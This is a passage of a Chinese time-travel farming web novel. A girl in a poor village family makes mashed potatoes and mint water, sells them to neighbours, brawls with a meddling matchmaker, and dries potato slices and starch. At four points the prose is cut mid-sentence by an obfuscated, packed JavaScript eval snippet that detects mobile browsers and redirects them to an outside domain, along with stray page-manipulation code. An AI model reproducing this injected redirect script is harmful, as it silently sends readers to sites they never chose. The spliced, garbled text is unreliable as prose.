三个人互相交换了个眼神，朱红梅才说：“爹娘，他们兄弟三人说的是，如今芽芽也刚好，身子又瘦弱，在地里也帮不上多少忙，还不如就让她在家中做饭，咱们每天能吃上热乎的，干活也更有劲，我们没啥意见。” 王银春和张春兰也赶紧点头说是。 姜家虽然穷，儿子儿媳也各有各的性格，可归根结底，可没一个斤斤计较的人，这已经比很多人家都强得多了。 姜齐飞松了口气，点头道：“那芽芽，你便回去吧，我们一人多干些，也就不用你来了。” 姜芽却不想占便宜，正要说话，姜文毅就一把将她拎起来，像极了姜芽以前在家拎小猫的样子。 “芽芽，爹娘都说了，你就快些回去，二哥我就等你把中饭送过来了！” 说完还拎着她又往前走了几步，才将她稳稳的放在地埂上。 姜芽揉了揉自己的肩：“那我就先回去了！待会给你们送老奶洋芋来吃！” 她心里也明白，就她这小胳膊小腿，在地里干一天活，估计回去又得在床上躺上个十天半个月的，还不如回去发挥一下自己的特长，给家里人做点好吃的送过来。 老奶洋芋，其实是昨天看到院子角落里的那堆土豆的时候就想好的了。 洋芋是土豆在西南一带的叫法，也是姜芽最喜欢的食材之一。 不管是煎炸炒烤还是煮，都能做出不同的风味。 她在土豆堆里挑拣了几个长的歪瓜裂枣的土豆，对，做老奶洋芋用不上长的多好的土豆。 那些又胖又圆的她已经有了另外的打算了。 她把土豆洗的干干净净，将锅直接放到火上，再把土豆放进锅里。 眼看着煮土豆还需要一段时间，她又到院外的芭蕉树上扒拉下一片芭蕉叶。 这芭蕉叶其实能用上的地方还有很多，这芭蕉叶快有她这个人高了，断口处还分泌出一些透明的粘液。 她把叶子撕成抹布大小，平平整整地铺在桌上。 家中到处都是破破旧旧的，此时屋中多了一抹绿色，倒是将她心中小小的烦闷都散了去。 锅已经开始沸腾，带着点土豆独特的香气。 姜芽揭开锅盖看了几次，直到看到土豆的皮都被煮的破了开来，才用抹布裹着锅耳端到一边，把里面的土豆拿出来。 这时候的土豆剥皮就容易的多了，她一边吹着气，一边熟练的将皮拔干净。 这时候的土豆个个金黄，还冒着热气，要是能有点豆酱，姜芽一个人都能吃下好几个。 她忍住偷吃的欲望，把土豆放到菜板上，熟透了的土豆也不用切，直接把菜刀放平，轻轻一压，就变成了土豆泥。 “这不得把人都香迷糊了。”她自言自语一句，又把炒菜的铁锅挂到钩子上，往里面放了一点点油。 等油烧热，直接把所有的土豆泥倒进去，快速翻炒起来。 油香混着土豆香瞬间飘满了厨房，姜芽赶紧撒上盐和切好的葱花，又炒了几下，直到葱花和土豆泥完全融合，才把锅取下来。 她忍不住又尝了一下，眼睛一亮，是那个味道！ 甚至不知道是不是自己这些天除了鸡肉烂饭之外都没吃过什么像样的东西的原因，竟觉得比以前做的还香。 她把老奶洋芋分别盛到芭蕉叶上，又把芭蕉叶严严实实的包了起来，用叶茎上撕下来的长条当做绳子捆好。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368589|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这不就是一个漂漂亮亮的纯天然打包盒吗！ 对于这个时代的穷人来说，能吃饱就已经不容易了，更何况是这么一份香喷喷从没吃过的菜。 姜芽身型瘦小，皮肤黢黑，远远看起来就和山里面那黑猴子差不多。 当她挎着个小篮子再次来地里送饭的时候，王迎春忍不住打趣：“看咱们家芽芽跟个小猴子似的，难怪老二早上一把就把她拎起来了。” 姜文毅却不管这些，听到姜芽来了就两眼放光：“芽芽！快来快来，我这肚子已经叫了一早上了，就等着吃你那个什么老奶洋芋。” 实话说，对于一个厨子来说，最幸福的事，就是自己辛苦做出来的东西，有人爱吃。 这里虽然条件艰苦，但也正是因为条件艰苦，无论她做什么，大家都会觉得好吃。 不像在现代，她做的美食在众多视频里毫不起眼，可在这里，哪怕是简单的一份老奶洋芋，大家也当把它成宝贝。 几人都将那芭蕉叶包拿过去，张春兰捧在手里掂了几下，问：“感觉里面是热的，这就是你说的老奶洋芋吗？为啥你这些食物的名字都这般奇怪？” 姜芽俏皮的眨眨眼，故意卖了个关子：“你们吃了就知道啦，这名字可不是我凭空想的。” 土豆是自家种的，姜芽多炒了些，姜文毅连吃了三个，就连她爹姜齐飞都吃了两个。 王迎春把芭蕉叶上的土豆都舔的干干净净：“这确实有些土豆的味道，只是我们平日里都是水煮一下就吃了，你这老……奶洋芋比水煮的可香多了。” 看他们对这个名字还是颇不理解的样子，姜芽才笑嘻嘻的解释：“你们看，这老奶洋芋是不是入口即化，根本都不用嚼。就算是掉光了牙的老奶奶来吃也是能吃的，所以这道菜就叫老奶洋芋！” 没想到，姜文毅听到她说这话，手里捧着的第三份老奶洋芋也不吃了，张着嘴就哈哈大笑：“哈哈哈哈，我还以为你这菜名有什么我们听不懂的深意呢，没想到就是老奶奶也能吃的洋芋，哈哈哈哈，那你怎么不叫老奶奶洋芋？” 姜芽不好意思的挠挠头，她也不知道为什么不叫老奶奶洋芋，学到这道菜的时候菜名就叫这个，总不能因为穿越了就自己擅自把菜名也改了吧？ 姜文毅一边笑，还一边拉着姜文和说：“老三，你平时就爱看些书，你说芽芽取这名是不是好笑的很？” 姜文和把最后一口老奶洋芋咽了下去，一本正经地说：“非也非也，菜名通俗易懂才好，太复杂反而不亲民。” 姜芽一听三哥这话，立马叉着腰大声说：“就是！这叫大俗即是大雅！” 姜文毅听的赶紧摆手：“什么俗什么雅的，我可听不懂这些，只要吃着好吃，填得饱肚子，叫老爷爷洋芋都成！” 吃饱了饭，大家干活都有劲了许多。 姜芽却没马上回家，脑子里又想到了一个主意，凑到姜文和身边，小声问 “三哥，你懂得多，你说我要是多做些薄荷水和老奶洋芋，在村里人干活的时候拿去地里卖，能卖出去不？” 5. 姜式清凉水（一） 姜文和听到姜芽这么一说，愣了一下：“这我怎么没想到呢！” 随后好像又想起了什么：“可是你怎么才能让他们花钱来买你这个薄荷水？毕竟像我们干活的人，每日出门都会自己带上水。” 姜芽从他手里拿过两粒玉米，瘦小黢黑的脸上露出一丝狡黠：“三哥，我知道你的意思，他们既不知道这薄荷水比寻常凉水解渴些，那就未必会找我买。” 姜文和点头：“正是，还有那老奶洋芋，虽然味道是极好的，可只需吃上这么两次，也就知道了这菜是如何做出来的，所以虽然你的想法很好，要真做起来，恐怕还没那么容易，” 他说的其实不无道理，但是姜似乎没有被这个问题难住，她将玉米粒放到地里，轻声道：“那倘若我让大家免费试喝呢？就只是薄荷水。” “免费试喝？”姜文和虽然没听说过这个说法，但是从字面上好像也理解了一些。 “你是说，先不收钱送给大家喝，等他们都尝到薄荷水的凉爽之后，再拿去地里卖？” 姜芽点头：“正是，反正这野薄荷到处都有，咱们也不缺水，那就直接送给村里人尝一尝，咱们也没有什么损失。” 姜文和算是姜家头脑最聪明的人，听姜芽这么一说，也感觉这薄荷水确实有利可图，他点点头：“按你说这办法，倒是可以一试，只是……” “只是什么？”早在一旁偷听兄妹俩说话的朱红梅凑过来笑着问。 她虽然是笑着，却还是下了姜文和一跳，往姜芽身后缩了缩身子，只是姜芽本就瘦小，他一个大男人往她背后缩，场面倒是有些滑稽了。 朱红梅一把揪住他的耳朵把他揪出来：“说呀，只是什么？芽芽如今有这种好的点子，做嫂子的也想帮帮忙，你怕什么？” 姜芽看着三哥这个样子，也忍不住笑：“对呀，三哥怎的这么害怕三嫂？你直接说就好了呀。” 其实姜文和就是下意识的害怕，他努力的站直了身体说：“只是你这薄荷水虽是制作没有什么开销，可是大家干活之前就会把水囊装满水，你要怎么让大家品尝？家里没那么多水囊，总不能让人家把自己的水倒了装你的吧？” 他这话倒是真的问住姜芽了，她只想着反正做薄荷水也不需要成本，直接免费让人尝尝再卖就可以了，却没有想到容器的问题。 没想到朱红梅听到这话倒是扑哧一声笑了出来：“这还不简单吗？山上的竹子那么多，等干完活，叫上大哥二哥跟你一起山上去砍些回来，做成竹筒，不就可以装薄荷水了吗？” 姜芽一拍脑门：“我怎么没想到！还能做竹筒饭！竹子的用处可太多了！” 也不知姜文毅是不是听到吃的听力就异常灵敏，姜芽的竹筒饭三个字刚说出来，他就大着嗓门说：“什么饭？什么竹子饭！你们在那说什么呢？” 姜芽笑：“二哥，你就先吃几日的老奶洋芋，竹筒饭我迟早让你吃上。” 姜文毅却也嘿嘿笑着过来：“那你们刚才在说什么呢？芽芽，二哥我不会说话，但说真的，你自从病了这一遭，好像开了这做饭的窍，搞得我这肚子好像一直在饿。” 既然买薄荷水的事已经敲定了，姜芽也不瞒他，把自己的这个创业初步想法告诉了他。 没想到姜文毅一听，直接拍手叫好：“好啊！你尽管去卖，要是波罗村有谁敢欺负你，老姜我马上去把他牙齿都打掉！” 全家人都听了姜芽卖薄荷水的想法，除了浦树巧有些担心姜芽的身体之外，其他人都一致同意。 说干就干，姜芽先回家去做晚饭，家里的几个男人干完活之后，就往山上去砍竹子了。 三个嫂子一路只要看到野薄荷，就干干净净的采摘回来，此时正在院子里一边洗薄荷，一边聊着天。 王迎春在鸡肉烂饭事件之后，对姜芽这个小妹是越来越喜欢，她嫁到姜家四年了，也没个自己的孩子，现在完全是把姜芽当自己的孩子来疼。 她将薄荷上老一些的叶子摘掉，放到装满清水的盆里：“咱们家芽芽真是个宝，你看看，这才多大年纪，就知道做些小生意了。” 张春兰按照姜芽的交代，把泡在清水里的薄荷轻轻淘洗：“是啊，就是我家这个老二，昨晚说梦话都还在说那鸡肉烂饭，要是什么时候芽芽嫁了人，他怕是天天要上人家夫家门上去讨饭吃。” 朱红梅把淘洗好的薄荷叶仔细的放在簸箕上沥水，笑：“是啊，你看看，今天我一说竹筒，小丫头马上就说什么竹筒饭，你别说二哥了，就是我听着这名字，也想尝一尝，你说这竹筒饭该是个什么味？” 而她们讨论的主角——姜芽，现正一边炒菜一边想着什么。 卖薄荷水毕竟不是长久之计，这东西本来就卖不上什么价，只能攒着给家里人改善改善伙食，要是想实现自己最终的目标，肯定是不够的。 兜兜转转，她的想法还是落在了那堆红薯和土豆上，还有玉米！ 想法很多，但每一步都需要花些时间来实践。 看来自己真是任重而道远啊。 草草吃了晚饭，一家人就开始为了姜芽的薄荷水又忙碌了起来，幸好人多干活也快，没多久姜文毅就将那堆粗壮的竹竿砍成了一个又一个的竹筒杯。 姜文和心细，把每一个竹筒边缘的竹刺都打磨干净。 姜文兴和王迎春则是把一个个竹筒整整齐齐的码在姜芽的小背篓里，方便她第二天背着出去。 浦树巧还是有些不放心，拉住这里看看那里瞧瞧的姜芽说：“芽芽，明日你去各家地里送这个薄荷水，要是谁说了什么不好听的话，或是谁欺负你，你就回来，咱们不卖这个也能养得起你。” 姜芽不知道为什么，眼睛有些湿润，穿越之前，她就是个爹不疼娘不爱的人，所以从小就自己给自己做饭，对于大家说的亲情好像没有什么太深的感受。 没想到到了这里，家里人人都对她疼爱至极，尽管自己提出了这么个想法，也没有任何一个人觉得她天真，而是在干了一天的活之后，还为了她的想法努力着。 她吸了吸鼻子，攥住浦树巧的手：“放心吧娘，谁要是敢骂我，我绝不吃亏，一定当场就骂回去，骂得他找不着娘！” 浦树巧被她逗得笑出声来：“你还要骂回去呢？待会人家想拎小鸡一样把你拎起来扔出去。” 前置工作都准备完毕， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368590|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家才陆陆续续的回房休息。 姜芽躺在床上，伸手把正在自己小腿肚子上吸血的蚊子拍了，借着屋顶破洞照下来的月光看着那只一命呜呼的蚊子 “我自己都快要皮包骨头了，你还吸我血呢？” 第二天，姜芽起了个大早，干劲十足的在家里用富余的那几个水囊开始摇着薄荷水。 本来一直是家里最早起床的姜齐飞看到她这个样子，心里倒是欣慰多了，小女儿好像长大了很多。 姜芽是和最后出门的朱红梅一起出门的，朱红梅性子泼辣，特地留到最后，想着能先陪着她去一家地里试试看，万一有人欺负姜芽，也不至于没个人在旁边帮着。 其实姜芽的心里也紧张得很，从摇薄荷水水的时候就一直在给自己暗暗打气，想着上学寒暑假的时候都出去兼职发过传单，这免费喝薄荷水，和街边的免费试吃也没什么太大的区别。 朱红梅却没看出她的紧张，看到一家人扛着农具刚到地里，就笑着过去打招呼：“呀，李叔李婶，今儿这么早就来干活了？” 都是一个村的人，那两口子也笑着说：“这不是姜家三媳妇吗？怎么，带着芽芽去干活啊？” 姜芽从朱红梅的背后笑眯眯的钻出来：“李叔好！李婶好！” 她笑的讨喜，李婶也招呼着：“芽芽，前几日听你娘说你病了，现在看来已经见好了？” 姜芽乖巧的点点头，将背篓卸了下来：“好多啦！李叔李婶，我这里有解暑又解渴的凉水，你们要不要尝一尝？” 李叔摆摆手，拍了拍腰间的水囊：“干活的人哪有不带水的，出门我们就带上了。” 姜芽赶紧拿出一个竹筒，打开水囊往里面倒了些递过去：“李叔，你就尝一尝嘛，我这水可比你的解渴多了。” 朱红梅也赶紧说：“是啊李叔，我们家芽芽做的这水，和寻常的水不一样，她今日特地做了许多，说是要给大家尝尝。” 话都说道了这个份上，李叔也不好拒绝，将竹筒杯接过去喝了两口，姜芽赶紧趁这个时候又给李婶倒了一杯。 两人喝下去那薄荷水，眼睛都亮了起来。 “你这是用什么做的？怎的喝下去如此清凉，还带着些甜味？”李叔舔舔嘴，仰头把一杯薄荷水都喝了个干净。 李婶也把水喝完，将竹筒递还给姜芽：“是啊芽芽，你这是什么水？” 姜芽想了想，飞快的说：“这是姜式清凉水！” “姜式……清凉水？”李婶的嘴角抽搐了几下。 姜芽却认真的点点头，竖起两个手指头：“对！要是李叔李婶喜欢，明日只需要带着自己的水囊，我还会给你们送过来，一水囊清凉水只要两个铜板！” 两个铜板？ 李叔李婶对视一眼，两个铜板并不贵，但是要是买水的话…… 李叔点头：“芽芽，你这水确实好喝，只是两个铜板咱们还是得想一想，毕竟水嘛，多喝一些也能解渴。” 俗话说的好，开门生意不管赚得多还是赚的少，都是要把这单生意做了的，图个开门利市的好彩头。 “两个铜板！两个水囊！”姜芽也要图这个好彩头。 6. 姜氏清凉水（二） 都是低头不见抬头见的村里人，姜芽又自降了一半价格，主要还是薄荷水确实喝着好喝又解渴。 所以李叔也没再拒绝，点点头说：“那明早你便给我们送到地里，两个铜板明日也一并给给你。” “好！”第一笔生意成了，姜芽高兴的快要蹦起来。 朱红梅见她也不怯场，心中放心了许多：“那芽芽，你就自己一家一家问，有什么事来地里找嫂子，嫂子给你做主，莫要自己受了委屈。” 万事开头难，这第一单薄荷水卖出去了，姜芽也信心倍增。 “三嫂你就放心去干活！卖水的事情就交给我！” 她背着竹筒和水，一家地一家地的问，又是在大家干着活正口渴的时候去的，所以这薄荷水卖的倒也还算是顺利，没过多久，薄荷水就试喝的不剩多少了。 姜芽来到王彭祖家的地里，说话也越来越熟练：“王叔，你们干活呢！” 没想到，那王彭祖还没说话，旁边的女人倒是先开口了：“呦呦呦，我当是谁呢，这不是姜家一直赖在家里不嫁人的姜芽吗？怎的到我家里地来了？” 姜芽上下打量了一下这个女人，头上带着块蓝色头巾，身子虽也是瘦干干的，脸上的神情却一点不像没吃饱饭样子。 原主的记忆在脑子里打了几个转，只知道这人是王彭祖的老婆，却不知她的敌意从何而来。 本着伸手不打笑脸人的原则，姜芽还是笑着倒了杯薄荷水递过去：“王婶，尝尝我做的这清凉水吧，清凉又解暑，好喝得很。” 王婶斜着眼看了看那竹筒，眼见只有姜芽一人，索性一把将竹筒打翻：“姜芽，真不是王婶我说你，你整日在家不干活，白吃你姜家的饭不说，我好心好意给你介绍镇上的许老爷，人家也没说要强娶你回去，就来你家问问，你那两个莽夫哥哥怎的竟将人家打了出去！” 她这么一说，姜芽就恍然大悟了，原来姜家一直以为那什么许老爷家的人是自己寻过来的，没想到背后竟然还有这个王婶的事。 竹筒被打翻在地上，最后一杯薄荷水顺着杯沿流到了土里。 虽然不管是薄荷还是水或是杯子，都没有花上一分钱，但这确是全家人昨晚辛辛苦苦的成果。 姜芽眯着眼看着王婶。 王婶以为这丫头没人撑腰，所以不敢说话，更加变本加厉。 她一把甩开想拉住自己的王彭祖，声音越发尖锐：“要我说啊，你最好自己寻到许老爷家，看看他还愿不愿意纳你做小妾，要是你真有那个福分，聘礼一过来，你家不就吃得上几年的饱饭了……” 话还没说完，姜芽就像只迅捷的野猫，猛的扑到了王婶的身上。 王婶没做防备，一下子就被她扑倒在地，两个人瞬间在地里滚做一团，扭打在了一起。 “你这臭丫头！还敢打老娘！”王婶一把扯住姜芽的头发，另一只手往她腰上掐。 姜芽咬着牙不说话，毕竟对方是个成年人，说话一泄劲，手上力气就更比不过了。 她死死的扯住王婶的嘴往两边撕，痛的王婶一阵怪叫：“王彭祖！你是不是瞎了眼了，还不赶紧过来把这疯狗拉开！” 王彭祖看着纠缠在一起的二人，嗫嚅着嘴不知道说了句什么，转身就不知往哪里跑了。 王婶拉姜芽的手，姜芽就用脚往她肚子上踹，王婶吃痛放开她的手，她就伸手往人脸上挠。 总之，当姜家一家子得知此事，和前去找他们王彭祖一起匆匆赶过来时，看到的就是这一幕。 两个人也说不清楚是谁占了上风，王婶脸上都是姜芽挠出的血印子，姜芽头发乱成的像个鸡窝，嘴边也有几团乌青。 和他们一起赶过来的，除了来看热闹的村民，还有在不远处干活的王家人。 姜文毅才不管是非，上前朝着王婶就是一脚，把姜芽拎出来护在臂中，语气确是责怪：“你这丫头，我是不是跟你说了，若是有人欺负你，先来找二哥，你怎的和人家打起来了？打得过罢了，你一个小丫头片子，看看都被打成什么样了！” 姜芽扯着嘴笑：“我可没觉得我打不过。” 王家的女儿王燕燕把王氏扶起来，对着姜家就骂：“怎么回事？人穷就罢了，还在我家地里撒泼？生出的女儿跟疯子似的，难怪嫁不出去！” 姜芽哪听的这话，挣着又要冲上去打人。 姜文毅和姜文兴赶眼疾手快的将她拉回来，王迎春一把把她拉到怀里紧紧的抱住。 浦树巧只当是自己女儿为了卖薄荷水说错了什么话，弯着腰颤着身子道歉 “王婶，芽芽这丫头性子野，实在是对不住，我给你赔个不是……” 姜芽从王迎春怀里扯出一只手，指着王氏的鼻子说：“娘！咱们凭什么跟她家赔不是！那找到家里来的什么老爷家的人，就是她这婆娘找来的！” 她这话一说，姜文兴瞪着眼睛看着王氏：“是你找来的人？那许老爷半只脚都要踏进棺材了，我家小妹如今也才十六岁，你安的什么心！” 王氏被说的有些虚心，嘴上还扯着嗓子说：“你当十六岁还是什么小孩子年纪？我家燕燕十六岁都当娘了，真当你家姜芽是什么宝贝呢？” 姜文毅已经忍无可忍，红着眼就要冲上去打人：“再说一句老子打死你！” 看姜文毅这样子，真打下去怕是要出大事，村里人赶紧冲上来劝架，几个男人用尽力气才把他拉住。 “王婶啊，你这事就做的太不地道了……都是一个村的人，你收了人家多少钱？” “文兴啊，你也劝劝你爹和你弟，你家这妹子确实也是年纪不小了，不说给人家老爷做小妾，那也是该找个好人家的时候了。” 大家七嘴八舌，说什么的都有。 “文毅，有什么话就好好说，千万别动手了啊。” 打是打不起来了，姜芽的三个嫂子叉着腰对着王家就是一顿臭骂，尤其的朱红梅，这时的泼辣劲全出来了，骂的口水横飞，不堪入耳。 王家人也不示弱，站在对面也骂的起劲。 姜文和向来不会吵架，只能将姜芽扶到一边，低声说：“芽芽，怎么还会跟人动起拳脚来了？” 姜芽朝着王家的方向吐了口血唾沫：“哥，扶我起来，我还能骂。” 王氏虽然做不地道的事在先，却是姜芽先动的手，这场骂战还是以姜家三个儿媳的胜利为结尾。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368591|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “以后你们姜家人，再往我们家地里踏一步，就不是今天这么简单了！”王氏的儿子放了句狠话，才背着王氏回了家。 三个嫂嫂追在他们屁股后面骂，直到到看不见对方的身影才肯作罢。 姜芽看着围在自己身边的家人，又伸着脖子看看在外面看热闹的村民，咧开嘴笑 “各位哥哥姐姐嫂嫂叔叔婶婶爷爷奶奶，明日我们家的姜式清凉水正式开卖，我可以直接送到地里，买一袋送一袋了，只限明天！” 村里大部分人都难得的聚在了一起，这可是难得的推广的好机会！ 直到回到家，姜文毅才哈哈哈的笑出声来：“芽芽，你还真有你哥的几分影子，我看那婆娘可是被你打的够呛！” 张春兰往他身上锤了一拳：“你还笑得出来，看咱们芽芽被打成这样子，那王氏下手也忒重了些。” 姜文毅却不同意：“打架哪有不挂彩的？芽芽虽然也受了些伤，明显就占了上风！” 王迎春给姜芽上着药，姜芽疼得龇牙咧嘴：“痛痛痛！” “现在知道痛了？我不是早就嘱咐你有什么事先来找我吗？”朱红梅气头还没过，甚至觉得刚才的骂战里自己发挥的还不够精彩。 姜芽看着坐在一边泪眼汪汪的娘，和一直叹气的爹，忍痛开口：“爹娘，你们就别叹气了，王氏她出言不逊，我教训她是应该的！” “再说了。”她话锋一转 “明日我还要去卖咱们的姜式清凉水呢，趁现在天色还早，咱们赶紧去摘些野薄荷回来。” 浦树巧有些生气：“还想着卖呢？明日要是又被人欺负了怎么办？” 姜芽举起拳头：“那我便再打一架！” 姜文毅：“好芽芽！有骨气！” 不过担心归担心，打趣也归打趣，姜芽这一天的努力也没白费，有接近二十户人家订了薄荷水，该准备的东西还是要提前准备好的。 她被安排在家中休息，薄荷水材料简单，家里人挑水的挑水，摘薄荷的摘薄荷，倒是也确实用不上她做什么。 王迎春按姜芽说的方法做了一大碗老奶洋芋，又单独给她煮了两个鸡蛋，说是爹娘交代的。 姜芽却已经把打架的事情翻了篇，拉着王迎春问：“大嫂，你晒过土豆片吗？” 王迎春不知道这丫头又想到了什么鬼点子，把剥好的鸡蛋放到她手上：“晒什么土豆片？我们都是水煮或是直接扔到火堆里烧出来吃。” “好！”姜芽兴奋的蹦起来，扯得被王氏掐的乌青的腰一阵疼痛。 “明日我卖薄荷水回来，就在家里晒土豆片！” 小时候最爱吃的就是这自制的土豆片，制作的方法她已经在心里想的明明白白，只等明天实践了。 王迎春知道姜芽对这些玩意的重视，她已经被浦树巧安排着明日跟着姜芽以防又有什么意外。 既然明日她又要晒什么土豆片，那就帮着她好好弄弄就是了。 不知道为什么，她觉得姜芽虽然小小一只，却能让她不由自主的觉得说出来的话都还挺可靠的。 至少在做吃食这方面，村里现在怕是没有任何一个人能赶得上姜芽。 7. 自制土豆片 要说这土豆片，是姜芽以前在老家时候见奶奶做过的，和商场里卖的土豆片并不是同一种。 这种土豆片就是完完全全的农产品，在她老家的农村家家户户都会有的东西。 虽然身上到处都痛，早上她还是撑着起来了，毕竟这薄荷水是她要卖的，总不能把这事全交给家里人去干。 而今天王迎春唯一的任务就是跟紧姜芽，姜芽说了几次不用，但昨天的打架事件显然让家里人对她口中的不用深表怀疑。 不过有了王迎春的帮忙，薄荷水的制作显然快了很多，王迎春力气大，摇薄荷水都比姜芽轻松的多。 两人把摇好的薄荷水装到水囊里，昨天已经跟预定了薄荷水的人都说好了，买水的人只需要带着空的水囊去地里，等姜芽背着水到地里直接帮他们灌满就好了。 姜芽鼻青脸肿的去送水，脸上却还笑眯眯的，不管对谁说话也都客客气气，让人看着就多了几分怜惜。 姜家在波罗村向来不与谁结仇，邻里关系也还算好，所以今天送水的时候并没有遭到任何为难，甚至大部分人都多给了她两个铜板，把后一天的薄荷水也定了。 只是在路过王家的地的时候，那王氏并不在，姜芽往旁边过，王彭祖不知道提前等到了哪里，窜出来就小跑追上她们。 姜芽吓得马上做出防御姿势：“怎的，昨天没把你家打服？今天还要打一架？” 王彭祖连连摆手：“不是不是……我不是来找你们麻烦的。” 王迎春的语气也并不好：“那你来作甚？替你家那婆娘做主来了？” 王彭祖脸上挂着尴尬，手伸到二人面前摊开，掌心里赫然躺着两个铜板：“我是来买那姜式清凉水的。” 姜芽诧异的和王迎春对视一眼，两个人都不知道这王彭祖葫芦里卖的什么药。 王迎春哪管这些，拉着姜芽就走，走之前不忘阴阳两句：“你们家的这两个铜板的生意我们可不敢做，管好你家那媒婆，别让她再把村里的丫头往外卖我们就谢天谢地了。” 王彭祖解释道：“我也不知道她何时找上的那许老爷……咱们都是一个村的，我要是知道我肯定不让她去做这种事。” 姜芽也觉得这单生意做不了。 不管王彭祖到底安的什么心，只要她收了这钱被王氏知道了，不知道还要闹出些什么事来，怕是再打一架都算是轻的了。 两人把薄荷水送完，眼看时间还早，姜芽马上拉着王迎春就往家里走：“今天天气好，咱们趁太阳正好赶紧把土豆弄出来晒着！” 回到家更是歇都没歇，把家里又大又圆的土豆挑出来大半，给王迎春安排起了任务 “大嫂，你就负责削皮，我来切！” 姜芽把削好皮的土豆简单的清洗，放到菜板上将土豆切成差不多铜钱厚的片，再把切出来的土豆先放到准备好的盆里。 等所有的土豆都切完，也装了满满的一大盆。 随后二人打水倒进盆里，把新鲜的土豆片淘洗了一遍又捞出来。 王银春正要把淘洗过土豆后浑浊的水倒了，姜芽却赶紧拉住她：“这水先不倒，我还有用处。” 她哼哧哼哧的把那盆水放到屋子的角落，又重新在锅中烧了一锅水，等水沸腾起来，先是在水里放了两勺子盐，才把淘洗过的土豆片放进水里煮。 看到这一步，王迎春还是有些摸不着头脑：“不是晒土豆吗？怎的又要煮？” 姜芽满脸认真：“煮过之后再去晒，这样晒出来的土豆片才是顶顶好吃的。” 约摸着煮了几分钟，姜芽就将锅从火上抬下来将水倒出去：“好啦，咱们现在只要把这些土豆片铺到竹筛子里，不要重叠，接下来的事，就交给太阳了。” 铺好的土豆片躺在竹筛子里，从缝中往下滴着水，只要后几日天气都还是这么好，再晒上两天，这土豆片就能成了。 眼看事情都做的差不多了，姜芽才和王迎春坐在院中，手里一边摘着菜一边问：“大嫂，你说我要是跟爹说我过几天要去镇上玩一玩，爹会同意吗？” 王迎春瞪大眼睛看着她，把手中的菜梗往地上一扔：“芽芽！你可不兴去找那许老爷啊，咱们家穷也不至于要将你卖了才能活得下去！你可千万不能做这种傻事啊！” “哎呦我的大嫂。”姜芽觉得有些好笑：“你想到哪去了！我只是想去镇上看看，买薄荷水挣到的钱，也能到镇上买些东西回来。” 她虽这么说，王迎春却也不敢应下来，只能说："你一个小姑娘家家的，爹娘肯定不放心，等晚上回来你问问吧，看到时候能不能让你哥陪你一起去。" 在这没有手机没有电脑的时代，倒是让姜芽更专注于自己的赚钱计划，她也想着去镇子上看看，自己的厨艺在那有没有什么发展的空间或是挣钱的机会。 直到下午，姜芽才去看那盆淘洗过土豆片的水，这也是她想着要晒土豆片的时候才想到的——土豆淀粉。 将近一天的静置，那盆水已经出现了明显的分层，上层绝大部分都是清水，而盆底已经有了一层乳白色的粉。 她轻轻的将上层的清水倒走，再用勺子将那为数不多的土豆淀粉舀出来放好，和土豆片一起晒到了院子里。 这还是她第一次做土豆淀粉，在现代，人们要做的事太多了，这种只要在超市花几块钱就能买到的东西，也很少有人会想着自己费劲吧啦的去做。 不像在这里，除了专心的做东西，想挣钱的事之外，姜芽也没别的事可做。 看着那碗里的淀粉，她的心里还是有了一丝小小的成就感。 至于去镇上的事，她已经在晚饭的时候问过姜齐飞了。 本来姜齐飞还有些犹豫，没想到姜文和一听到这个，胆子居然也不小了，站出来就说自己要陪着姜芽一起去。 朱红梅只是瞥了他一眼，似乎是知道他要到镇上去干什么，竟然也没有反对。 只是这几日家里的玉米还没种完，只能等活干的差不多了，姜文和才能带着姜芽上镇子里去。 转眼过了两天，在太阳的精心照顾下，金黄的土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368592|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆片已经变的小了些，四周的边也卷了起来，颜色变得有些发黑。 土豆淀粉也晒得干燥，姜芽先把淀粉放到竹筒里储存好 再把大部分土豆片放到干燥的麻袋里收到柜中，剩下的那些，今晚就得尝一尝。 她在锅中烧油，等油七八成热的时候，就抓了一把土豆片顺着锅沿轻轻放下去。 